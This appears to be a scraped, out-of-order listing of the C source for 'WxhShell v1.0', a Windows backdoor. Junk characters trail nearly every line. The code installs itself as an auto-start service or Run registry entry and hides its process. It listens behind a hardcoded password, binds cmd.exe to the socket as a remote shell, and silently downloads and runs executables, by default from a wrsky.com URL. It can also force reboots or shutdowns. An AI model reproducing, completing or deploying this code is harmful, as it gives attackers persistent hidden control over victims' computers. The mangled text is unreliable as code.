    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8jLO-^X<<  
    else { s>>lf&7  
    closesocket(wsh); ,d=Dicaz  
    ExitThread(0); b+CvA(*  
    } gKPqU@$*  
    break; Zyz)`>cB  
    } [E}pU8.t6  
  // 获取shell Nk F2'Z{$+  
  case 's': { RcI0n"Gi_  
    CmdShell(wsh); %V!!S#W  
    closesocket(wsh); :O;uP_r9  
    ExitThread(0); j{/wG::  
    break; =_2(S6~  
  } N$Tzxs  
  // 退出 ]tbl1=|  
  case 'x': { }k8&T\V!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wG22ffaki  
    CloseIt(wsh); oOQ0f |MGp  
    break; ]ddL'>$c$  
    } L'>0E(D  
  // 离开 ^c sOXP=Yp  
  case 'q': { 8Y;>3z th7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AIA4c"w.EO  
    closesocket(wsh); b&pL}o?/k  
    WSACleanup(); b3-+*5L  
    exit(1); )L,Nh~  
    break; ~@D!E/hZx  
        } l~*d0E-$  
  } AAc2u^spx  
  } |X~vsM0  
.8CfCRq  
  // 提示信息 q&wv{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~~WX#Od*$  
} %BRll  
  } 6b4]dvl_  
elP#s5l4  
  return; %Vsg4DRy  
} ?T[K{t;~jo  
1 |3vwgRhs  
// shell模块句柄 Mg u=cm )  
int CmdShell(SOCKET sock) |c,'0V,"cH  
{ E0Kt4%b  
STARTUPINFO si; _eaK:EW  
ZeroMemory(&si,sizeof(si)); ]=]`Mnuxb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `S=4cSH(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S'AS,'EnY  
PROCESS_INFORMATION ProcessInfo; qNbgN{4  
char cmdline[]="cmd"; Ymg,NkiP0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i$'#7U  
  return 0; ogE|8`Tq^  
} M j |"+(  
: DBJ2n  
// 自身启动模式 %TQ5#{Y  
int StartFromService(void) {=E,.%8  
{ !f8]gTzN  
typedef struct 4({Wipd  
{ ew8Manx  
  DWORD ExitStatus; LBhDP5qF  
  DWORD PebBaseAddress; HwZ@T &_4  
  DWORD AffinityMask; N*>&XJ#  
  DWORD BasePriority; iA+zZVwO  
  ULONG UniqueProcessId; Cqw`K P  
  ULONG InheritedFromUniqueProcessId; 3#c0p790  
}   PROCESS_BASIC_INFORMATION; t3aDDu  
L>2gx$f  
PROCNTQSIP NtQueryInformationProcess; 4:XVu  
aw'o=/a8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bRc~e@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Z+E_Lbz  
(0bXsfe  
  HANDLE             hProcess; @LDu08lr  
  PROCESS_BASIC_INFORMATION pbi; }F)eA1  
~^"s.Lsb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +WFa4NZ  
  if(NULL == hInst ) return 0; -gLU>I7wV  
n'Z5rXg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -- |L?-2k,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u]QG^1.qYe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JztSP?  
T#R*]  
  if (!NtQueryInformationProcess) return 0; 4B=@<( H  
VWE`wan<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ezw<  
  if(!hProcess) return 0; (C8r^m|A  
si>gYO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >U'gQS?\]  
F%e5j9X`  
  CloseHandle(hProcess); -VRKQNT  
Yu9.0A_) :  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H}&4#CQ'!  
if(hProcess==NULL) return 0; _,]@xFCOH  
D,;6$Pvg^  
HMODULE hMod; eWAgYe2  
char procName[255]; bmGtYv  
unsigned long cbNeeded; nL-kBW Ed>  
+h? z7ZY^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0@PI=JZ%  
91j.%#[v'  
  CloseHandle(hProcess); !mRDzr7  
^6I8a"  
if(strstr(procName,"services")) return 1; // 以服务启动 O_ /|Wx  
SB2Ij',  
  return 0; // 注册表启动 t:.ZvA3  
} LuW^Ga"E  
w?zY9Fs=s  
// 主模块 uNRT@@oCq  
int StartWxhshell(LPSTR lpCmdLine) 9$:+5f,%a  
{ /"OJ~e_%  
  SOCKET wsl; xSoXf0zq:  
BOOL val=TRUE; |F^h >^ x  
  int port=0; aXO|% qX  
  struct sockaddr_in door; &26H   
maTZNzy  
  if(wscfg.ws_autoins) Install(); `SSUQ#@  
\H5{[ZUn  
port=atoi(lpCmdLine); G@;I^_gN  
@s/0 .7  
if(port<=0) port=wscfg.ws_port; Q.Ljz Z  
9 ]W4o"  
  WSADATA data; =)Q0=!%-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ffp<|2T2_  
a2N4Jg@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fnm:Wa|,%|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); trC+Etc   
  door.sin_family = AF_INET; l]o)KM<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <"XDIvpc%L  
  door.sin_port = htons(port); &k2nt  
S0<m><|kl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #XlE_XD  
closesocket(wsl); !HP/`R  
return 1; ~NtAr1  
} Z'I0e9Jw  
/4Lmu+G4  
  if(listen(wsl,2) == INVALID_SOCKET) { .xp|w^  
closesocket(wsl); .wfN.Z  
return 1; eZWR)+aq  
} 2dF:;k k  
  Wxhshell(wsl); h8MkfHH7{  
  WSACleanup(); dnP3{!"b  
?w[M{   
return 0; S(f V ,;Z  
uF=xo`=|  
} @GiR~bKZ  
t[ZumQ@HC  
// 以NT服务方式启动 !7K-Kqn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CF`fn6  
{ zjrr*iw  
DWORD   status = 0; <C'S#5,2  
  DWORD   specificError = 0xfffffff; Ay Obaa5  
3[jk}2R';p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^:RDu q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Nh[{B{k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Uieg4Iro  
  serviceStatus.dwWin32ExitCode     = 0; d">Ya !W  
  serviceStatus.dwServiceSpecificExitCode = 0; -~HlME *~f  
  serviceStatus.dwCheckPoint       = 0; Ht'jm(  
  serviceStatus.dwWaitHint       = 0; V!S B9t`E  
(1vmtg.O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CKTD27})  
  if (hServiceStatusHandle==0) return; X; gN[  
a'v%bL;H~  
status = GetLastError(); [i'\d}  
  if (status!=NO_ERROR) DvuL1Me Ko  
{ zq5_&AeW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; adJoT-8P6  
    serviceStatus.dwCheckPoint       = 0; 2rw<]Ce  
    serviceStatus.dwWaitHint       = 0; Wsr #YNhx|  
    serviceStatus.dwWin32ExitCode     = status; "Jp6EL%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2Z-BZuK6p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3o'SY@'W  
    return; rGZ@pO2  
  } IP1|$b}sq  
C3%,pDh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YSuw V)Y  
  serviceStatus.dwCheckPoint       = 0; (8r?'H8ZO  
  serviceStatus.dwWaitHint       = 0; [)gvP'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6wWA(![w"  
} .~5cNu'#m  
e;=G|E  
// 处理NT服务事件,比如:启动、停止 b* 6c.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NRKAEf_#w  
{ uREc9z `Q'  
switch(fdwControl) ~P5!VNJ;r  
{ Ej1 [ry  
case SERVICE_CONTROL_STOP: VmTk4?V4  
  serviceStatus.dwWin32ExitCode = 0; |jV4]7Luq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dBG]J18  
  serviceStatus.dwCheckPoint   = 0; 'Ph4(Yg  
  serviceStatus.dwWaitHint     = 0; K@{jY\AZNx  
  { !UUh7'W4u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^}8_tZs8\  
  } f ( `.q  
  return; U[S;5xeF.j  
case SERVICE_CONTROL_PAUSE: <,0& Ox  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tS2lex%  
  break; eT+MN`  
case SERVICE_CONTROL_CONTINUE: 5b B[o6+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -o#0Yt}3  
  break; >?e*;f$VdJ  
case SERVICE_CONTROL_INTERROGATE: e_6 i896  
  break; JoZC+G  
}; xuelo0h,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d1j v>tu  
} LM _4.J  
&V( LeSI  
// 标准应用程序主函数 wH#k~`M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N13 <!QQ  
{ CWkm\=  
No[xf9>t  
// 获取操作系统版本 &F#X0h/m=  
OsIsNt=GetOsVer(); bi^LpyEn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i6m;2 UAa  
U(./LrM05  
  // 从命令行安装 kX1hcAa  
  if(strpbrk(lpCmdLine,"iI")) Install(); zMrZ[AU  
Zt` ,DM  
  // 下载执行文件 xs &vgel>  
if(wscfg.ws_downexe) { ,75,~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l!iB -?'u  
  WinExec(wscfg.ws_filenam,SW_HIDE); kd\yHI9A  
} Mdwh-Cis/  
!s)2H/KM8  
if(!OsIsNt) { $ ]81s`  
// 如果时win9x,隐藏进程并且设置为注册表启动 & 8&WY1cU  
HideProc(); NHc+QMbou(  
StartWxhshell(lpCmdLine); 6-X7C9`C  
} N&>D/Z;"  
else QW2% Gv:  
  if(StartFromService()) \iVYhl  
  // 以服务方式启动 1<R \V  
  StartServiceCtrlDispatcher(DispatchTable); w\t{'  
else SwP h-6  
  // 普通方式启动 b'-gy0  
  StartWxhshell(lpCmdLine); 5 ?vIkf  
j#p3c  
return 0; G#% =R`k/  
} 56':U29.]  
Nq~bO_-I  
kD; BwU[  
]c5GG!E-g  
=========================================== orU4{.e  
1g/mzC   
Bv=Z*"Fv  
rfPJBD{Ve  
*pWswcV/  
!E7/:t4  
" Ta[}k/zW  
@/7Rp8Fr  
#include <stdio.h> g*]<]%Py"  
#include <string.h> N]=.I   
#include <windows.h> uPp(l4(+  
#include <winsock2.h> ohh 1DsB  
#include <winsvc.h> OQsH,'  
#include <urlmon.h> cA Lu  
RZ.5:v6  
#pragma comment (lib, "Ws2_32.lib") )US) -\^  
#pragma comment (lib, "urlmon.lib") nEn2!)$  
c&_3"2:  
#define MAX_USER   100 // 最大客户端连接数 gh 0\9;h  
#define BUF_SOCK   200 // sock buffer /V*eAn8>  
#define KEY_BUFF   255 // 输入 buffer tIvtiN6[|l  
7PvuKAv?k  
#define REBOOT     0   // 重启 [wOO)FjT  
#define SHUTDOWN   1   // 关机 54)}^ftY^  
g{a0,B/j  
#define DEF_PORT   5000 // 监听端口 uIPR*9~6o  
$i`YtV  
#define REG_LEN     16   // 注册表键长度 kdo)y(fn@  
#define SVC_LEN     80   // NT服务名长度 n_+Iw,a'm  
<St`"H  
// 从dll定义API (HJ60Hj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yp;x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "{:*fI;!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _6[NYv$"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L`p[Dq.  
5s|gKM  
// wxhshell配置信息 Cv=0&S.  
struct WSCFG { lubS{3<  
  int ws_port;         // 监听端口 7)]G"m{  
  char ws_passstr[REG_LEN]; // 口令 A6Qi^TI  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4@Qq5kpk*  
  char ws_regname[REG_LEN]; // 注册表键名 NSkI2>+P  
  char ws_svcname[REG_LEN]; // 服务名 l{3utQH-=z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ':[y]ep(~|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /[-hJ=< Yb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U9q*zP_jV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \E30.>%,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {!4%Z9G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aD:+,MZ  
bd9c/>&  
}; s0h)~z  
0'<S7?~|  
// default Wxhshell configuration $pKS['J0  
struct WSCFG wscfg={DEF_PORT, BZBsE :(F  
    "xuhuanlingzhe", 'F~u \m=E  
    1, B?4\IXek  
    "Wxhshell", 8BN'fWl&E  
    "Wxhshell", &d2/F i+  
            "WxhShell Service", o]j*  
    "Wrsky Windows CmdShell Service", x{- caOH  
    "Please Input Your Password: ", yqU++;6  
  1, (1o^Dn3  
  "http://www.wrsky.com/wxhshell.exe", B+<k,ad  
  "Wxhshell.exe" 4>W`XH  
    }; 4j*}|@x  
7MfT~v  
// 消息定义模块 : ?V;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bODl q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oK>,MdB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U!5@$Fu  
char *msg_ws_ext="\n\rExit."; 4|(?Wt)5  
char *msg_ws_end="\n\rQuit."; yV8).4  
char *msg_ws_boot="\n\rReboot..."; >&VL2xLy  
char *msg_ws_poff="\n\rShutdown..."; NR*SEbUU*  
char *msg_ws_down="\n\rSave to "; 1mX*0>  
x6t;=  
char *msg_ws_err="\n\rErr!"; Yx"z&J9 p  
char *msg_ws_ok="\n\rOK!"; ? Z=v&d[o)  
_x!pM j(A  
char ExeFile[MAX_PATH]; ]VvJ1Xn0  
int nUser = 0; Zx_m?C_2_  
HANDLE handles[MAX_USER]; 7'|PHQ?S  
int OsIsNt; xR:h^S^W ~  
zCHr  
SERVICE_STATUS       serviceStatus; +[ItkfSod!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \p$0  
~laZ(Bma);  
// 函数声明 BGX@n#:  
int Install(void); Al|7Y/  
int Uninstall(void); ,<1*  
int DownloadFile(char *sURL, SOCKET wsh); ju#6 3  
int Boot(int flag); L3AwL)I   
void HideProc(void); `y}d)"!  
int GetOsVer(void);  sD8S2  
int Wxhshell(SOCKET wsl); {<kG{i/  
void TalkWithClient(void *cs); Nj0)/)<r+  
int CmdShell(SOCKET sock); o!~bR  
int StartFromService(void); ' l|_$3  
int StartWxhshell(LPSTR lpCmdLine); Aq!['G  
S F>D:$a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nd!VR+IZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Rs`a@ Fn  
zc+;VtP|8  
// 数据结构和表定义 u7?juI#Cl  
SERVICE_TABLE_ENTRY DispatchTable[] = g5Rm!T+@I<  
{ KIo}Gd&  
{wscfg.ws_svcname, NTServiceMain}, ` l2q G#  
{NULL, NULL} (x qA.(F  
}; kA__*b}8UK  
sg{D ?zl  
// 自我安装 vC:b?0s#(  
int Install(void) 6[.Mx}h6  
{ X:lPWz!7{  
  char svExeFile[MAX_PATH]; Net)l@IB]  
  HKEY key; W(h8!}  
  strcpy(svExeFile,ExeFile); .gGvyscdH;  
gE&W6z0fJ  
// 如果是win9x系统,修改注册表设为自启动 G%!\ p:w  
if(!OsIsNt) { vo(NB !x$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |QLX..  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aMQjoamz  
  RegCloseKey(key); A Vm{#^p[(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `{F~'t['  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R*Z]  
  RegCloseKey(key); |xZcT4  
  return 0; mE`qvavP|/  
    } >&QH{!(  
  } Rt^<xXX$  
} p{q!jm~Nq  
else { 4q13xX  
c1kxKxE  
// 如果是NT以上系统,安装为系统服务 ]<gCq/V#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A&c@8  
if (schSCManager!=0) ]^9* t,{9  
{ y?n2`l7f  
  SC_HANDLE schService = CreateService =`~Z@IbdI  
  ( t3t0vWE<,  
  schSCManager, i1I>RK  
  wscfg.ws_svcname, &_d/ciq1f  
  wscfg.ws_svcdisp, GWhAjL/N  
  SERVICE_ALL_ACCESS, [Cj}nld   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XcMJD(!  
  SERVICE_AUTO_START, ,6;xr'[o*  
  SERVICE_ERROR_NORMAL, }b+QYSt  
  svExeFile, #we>75l{+R  
  NULL, vo ;F;  
  NULL, t-i6FS-  
  NULL, +xfW`[.{  
  NULL, +'/}[1q1/T  
  NULL (\t_Hs::a  
  ); 12sD|j  
  if (schService!=0) PCPf*G>  
  { rLh9`0|D  
  CloseServiceHandle(schService); VS|( "**  
  CloseServiceHandle(schSCManager); X@qk>/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7sc<dM  
  strcat(svExeFile,wscfg.ws_svcname); R pI<]1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,LW+7yD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c5E#QV0&v~  
  RegCloseKey(key); [OZ=iz.  
  return 0; rN1U.FRe/  
    } - SS r  
  } ~ sIGI?5f  
  CloseServiceHandle(schSCManager); [z%?MIT  
} zk 5=Opmvh  
} "6N~2q,SW  
,.jHV  
return 1; 7grt4k  
} Bw<zc=%  
/.)[9bQ<  
// 自我卸载 - ~\.n  
int Uninstall(void) 6f?BltFaN  
{ 7q!yCU  
  HKEY key; tB7K&ssi  
n2d8;B#  
if(!OsIsNt) { N3gNOq&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0UGiPH,()  
  RegDeleteValue(key,wscfg.ws_regname); d"I28PIS"  
  RegCloseKey(key); 'DzBp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f[Fgh@4cj  
  RegDeleteValue(key,wscfg.ws_regname); )W]>\=@Y  
  RegCloseKey(key); ')5L_$  
  return 0; J4G> E.8  
  } px _s@>l`  
} ~J1;tZS  
} r|^lt7\  
else { 8nIMZV  
^+.t-3|U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OyJsz]b} M  
if (schSCManager!=0)  .3a:n\tY  
{ .6#cDrK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /z1p/RiX  
  if (schService!=0) `M?v!]o  
  { e)HhnN@  
  if(DeleteService(schService)!=0) { 1iJ0Hut}d  
  CloseServiceHandle(schService); ]Y4q'KH  
  CloseServiceHandle(schSCManager); > X[|c"l.  
  return 0; p9AZ9xr  
  } ]D LZ&5pv  
  CloseServiceHandle(schService); OG`|td  
  } goDV2 alC^  
  CloseServiceHandle(schSCManager); )C>}"#J>  
} ZU-4})7uSB  
} 3J'73)y  
LAv:+o(m/  
return 1; "Su b4F`  
} 4<T*i{[  
wfBuU>  
// 从指定url下载文件 7deAr$?Wx  
int DownloadFile(char *sURL, SOCKET wsh) |Bx||=z`  
{ eQU-&-wt0  
  HRESULT hr; 894r;UA7  
char seps[]= "/"; q Vm"f,ruo  
char *token; 4D^ M<Xn  
char *file; =`qRu  
char myURL[MAX_PATH]; #%? FM>  
char myFILE[MAX_PATH]; #)^^_  
]8$#qDS@  
strcpy(myURL,sURL); rH$eB/#F  
  token=strtok(myURL,seps); =[]x\&@t  
  while(token!=NULL) 1l/AKI(!  
  { 4>4V-m\  
    file=token; ;w`sz.  
  token=strtok(NULL,seps); *A?8F"6>  
  } {ExII<=6  
9ZDVy7m\i-  
GetCurrentDirectory(MAX_PATH,myFILE); FZe:co8Mu  
strcat(myFILE, "\\"); *.," N}  
strcat(myFILE, file); i`[#W(m  
  send(wsh,myFILE,strlen(myFILE),0); 5vD3K! \u  
send(wsh,"...",3,0); J| SwQE~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {y,nFxLq  
  if(hr==S_OK) I&L.;~  
return 0; Mv.Ciyc  
else -$+,]t^GV  
return 1; &Nc[$H7<  
;>NP.pnA)  
} EjWgaV  
lijB#1<8*  
// 系统电源模块 5;W\2yj  
int Boot(int flag) pw@`}cM=  
{ 8h2D+1,PZC  
  HANDLE hToken; m_a^RB(  
  TOKEN_PRIVILEGES tkp; JC=dYP}  
A-Mj|V  
  if(OsIsNt) { 1p8:.1)q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pe|X@o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0|g[o:;fl_  
    tkp.PrivilegeCount = 1; ]?[zx'|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -*?p F_*w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); & =G)NeT_  
if(flag==REBOOT) { :-z&Y492  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 14mf}"z\  
  return 0; aX|g S\zx  
} |2O')3p"9  
else { >-b&v$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iHPUmTus--  
  return 0; 7%e1cI  
} iC\%_5/ _  
  } kd yAl,  
  else { {@3z\wMK$  
if(flag==REBOOT) { Z:!IX^q;}n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :$NsR*Cq*9  
  return 0; a"x}b  
} u^t$ cLIZ  
else { }MP>]8Aq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }`9jH:q-Z  
  return 0; Nb0Ik/:<  
} 'r\ 4}Ik  
} =~&VdPZ  
;+a2\j+  
return 1; ! D$Ooamq  
} pe.Ml7o"  
eIH$"f;L  
// win9x进程隐藏模块 YScvyh?E  
void HideProc(void) #AShbl jm+  
{ \8e2?(@"k  
Sm)u9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b?8)7.{F{  
  if ( hKernel != NULL ) >{wuEPA  
  { J? .F\`N)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cL G6(<L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Br!9x {q*  
    FreeLibrary(hKernel); 1yM r~Fo  
  } {]^O:i"  
\9/RAY_G  
return; .1#kD M  
} [*Uu#9  
Ab2Q \+,  
// 获取操作系统版本 2z\e\I  
int GetOsVer(void) MLr-, "gs  
{ '1Y\[T*  
  OSVERSIONINFO winfo; 1_hW#I\'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ml0*1Dw  
  GetVersionEx(&winfo); BhkoSkr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ji?#.r`"n  
  return 1; "g0(I8  
  else cE\>f8 I  
  return 0; 36vgX=}  
} @kxel`,$e  
Dd,2;#_  
// 客户端句柄模块 r@kP*  
int Wxhshell(SOCKET wsl) p*20-!{A  
{ 9t$]X>}  
  SOCKET wsh; ?6"{!s{v  
  struct sockaddr_in client; }Wh6zT)  
  DWORD myID; = a}b+(R  
?!'Zf Q:zK  
  while(nUser<MAX_USER) gE])!GMM3  
{ {A:j[  
  int nSize=sizeof(client); m@Rtlb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JSr$-C fH  
  if(wsh==INVALID_SOCKET) return 1; Qdf=XG5  
yN6>VD{F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'hqBo|  
if(handles[nUser]==0) &JP-O60  
  closesocket(wsh); 5Qh?>n>*  
else [p;E~-S  
  nUser++; [eUftr9&0  
  } g(|{')8?d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T~4N+fK  
Qk1xUE  
  return 0; hA1-){aw3q  
} .(CP. d  
/i]y$^  
// 关闭 socket ,9D+brm  
void CloseIt(SOCKET wsh) _O"mfXl6  
{ ep/Y^&$M  
closesocket(wsh); 5jxQW ;  
nUser--; ZJ*g)) k7  
ExitThread(0); '#/G,%m<!i  
} jMNU ?m:  
De&6 9  
// 客户端请求句柄 \Ae9\Jp8M  
void TalkWithClient(void *cs) 2L?!tBw?1  
{ C3NdE_E  
Yz$3;  
  SOCKET wsh=(SOCKET)cs; H<EQu|f&x  
  char pwd[SVC_LEN]; Q[F}r`  
  char cmd[KEY_BUFF]; .iX# A<E}  
char chr[1]; 3&&9_`r&_  
int i,j; qqrq11W  
!V 2/A1?  
  while (nUser < MAX_USER) { G  uQ=gN  
9o*,P,j'}  
if(wscfg.ws_passstr) { { FZ=olZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O3DmNq$dz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \^7C0R-hX  
  //ZeroMemory(pwd,KEY_BUFF); K"j_>63)  
      i=0;  Jc&y9]  
  while(i<SVC_LEN) { QTX8 L  
?;/^Ya1;Z  
  // 设置超时 ;2'q_Btk4  
  fd_set FdRead; w }Uhd ,  
  struct timeval TimeOut; r}[7x]sP  
  FD_ZERO(&FdRead); 26T"XW'_  
  FD_SET(wsh,&FdRead); NT@;N/I  
  TimeOut.tv_sec=8; tyaA\F57  
  TimeOut.tv_usec=0; (jU6GJRP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5p.rwNE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sBrI}[oyx  
r{l(O,|e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OO[F E3F  
  pwd=chr[0]; "HE^v_p  
  if(chr[0]==0xd || chr[0]==0xa) { }!IL]0 q  
  pwd=0; orOt>5}b<  
  break; S[WG$  
  } o sKKt?^?  
  i++; Xy5e5K  
    } -D6exTxh"  
B&D}F=U  
  // 如果是非法用户,关闭 socket ^Q+g({  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); " Hd|7F'u=  
} ~NW32 O)/  
7jdb)l\p=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O)vp~@ |  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D_vbSF)  
Ja9e^`i;  
while(1) { S~|T4q(  
JQ"U4GVp  
  ZeroMemory(cmd,KEY_BUFF); J H7<  
*QH28%^  
      // 自动支持客户端 telnet标准   K'GBMnjD  
  j=0; /~3r;M  
  while(j<KEY_BUFF) { H)n9O/u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aA,!<^&}  
  cmd[j]=chr[0]; K.0:C`C  
  if(chr[0]==0xa || chr[0]==0xd) { Hw4%uS==V  
  cmd[j]=0; 1YH+d0UGn  
  break; MG.` r{5  
  } Hro-d 1J7  
  j++; Dd\jHF>u  
    } R rda# h^  
rW=Z>1  
  // 下载文件 AJ=qna  
  if(strstr(cmd,"http://")) { ?"g!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EKO[!,  
  if(DownloadFile(cmd,wsh)) AB4(+S*LA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :8OZ#D_Hl  
  else M]J ^N#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O&Y*pOg  
  } Q637N|01  
